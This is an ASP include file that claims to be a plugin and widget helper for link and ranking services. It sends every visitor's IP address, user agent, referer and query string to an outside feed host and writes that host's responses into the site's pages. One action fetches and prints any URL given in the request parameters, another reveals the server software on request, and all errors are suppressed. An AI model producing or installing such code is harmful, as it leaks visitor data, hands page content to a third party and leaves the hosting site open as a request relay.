<% 'This page should be included on your home page. 'This file is used by various services and resellers that provide plugin, widget and web services tools. 'This file does the following: 'a) When included (require_once, etc) on a any page on the website it will generate a menu of links to allow access to the other plugin services 'b) It can be called using the links from a) to generate content based on the service type specified in the link, eg. blog pages, ranking reports, etc. 'c) It can be used to gather web page information for use in services such as uptime monitoring, keyword ranking reports, search engine crawler visits and other data used by service plugins and reports 'DO NOT CHANGE ANYTHING IN THIS FILE on error resume next feedurl = "http://public.freerelevantlinks.com/feed/" version = "2.2" PageID = request("PageID") Action = trim(request("Action")) PageNumber = request("page") blnComplete = request("blnComplete") blnComplete = NOT (trim(blnComplete) = "") key = trim(request("k")) city = request("city") cty = request("cty") state = request("state") st = request("st") if Request("aspconfirm") <> "" then response.write(Request.ServerVariables("SERVER_SOFTWARE")) response.end end if cDomain = trim(lcase(Replace(Request.ServerVariables("HTTP_HOST"),"local.", ""))) if left(cDomain,4)="www." then cDomain = right(cDomain,(len(cDomain)-4)) end if if left(cDomain,3)="www" then cDomain = right(cDomain,(len(cDomain)-5)) end if cParm = "?domain=" & cDomain cParm = cParm & "&Action=" & Action cParm = cParm & "&k=" & Server.URLEncode(key) cParm = cParm & "&PageID=" & Server.URLEncode(PageID) cParm = cParm & "&agent=" & Server.URLEncode(Request.ServerVariables("HTTP_USER_AGENT")) cParm = cParm & "&referer=" & Server.URLEncode(Request.ServerVariables("HTTP_REFERER")) cParm = cParm & "&address=" & Server.URLEncode(Request.ServerVariables("REMOTE_ADDR")) cParm = cParm & "&uri=" & Server.URLEncode(Request.ServerVariables("URL")) cParm = cParm & "&query=" & Server.URLEncode(Request.ServerVariables("QUERY_STRING")) cParm = cParm & "&blnComplete=" & blnComplete cParm = cParm & "&page=" & PageNumber cParm = cParm & "&version=" & version cParm = cParm & "&cScript=asp" if city <> "" then cParm = cParm & "&city=" & city end if if cty <> "" then cParm = cParm & "&cty=" & cty end if if state <> "" then cParm = cParm & "&state=" & state end if if st <> "" then cParm = cParm & "&st=" & st end if if Action = "" then Response.write(SendXML(feedurl & "Articles.php" & cParm)) elseif Action = "pr" then Response.write(SendXML(request("p") & "?" & request("r"))) else Response.write(SendXML(feedurl & "Article.php" & cParm)) end if Response.end Function CheckErr (ByRef msg) CheckErr = False If (Err <> 0) Then msg = "Error - " & Err.Description CheckErr = True End If End Function Function SendXML (address) On Error Resume Next Dim method : method = "GET" Dim oXML : Set oXML = Server.CreateObject("MSXML2.ServerXMLHTTP") If (CheckErr (SendXML)) Then Exit Function oXML.setTimeouts 7000, 7000, 15000, 15000 oXML.Open "GET", address, False If (CheckErr (SendXML)) Then Exit Function oXML.setRequestHeader "user-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" oXML.setRequestHeader "Content-Type", "text/xml" oXML.Send If (CheckErr (SendXML)) Then Exit Function If (oXML.status = 200) Then SendXML = oXML.responseText Else SendXML = "" End If If (CheckErr (SendXML)) Then Exit Function oXML = Nothing End Function %>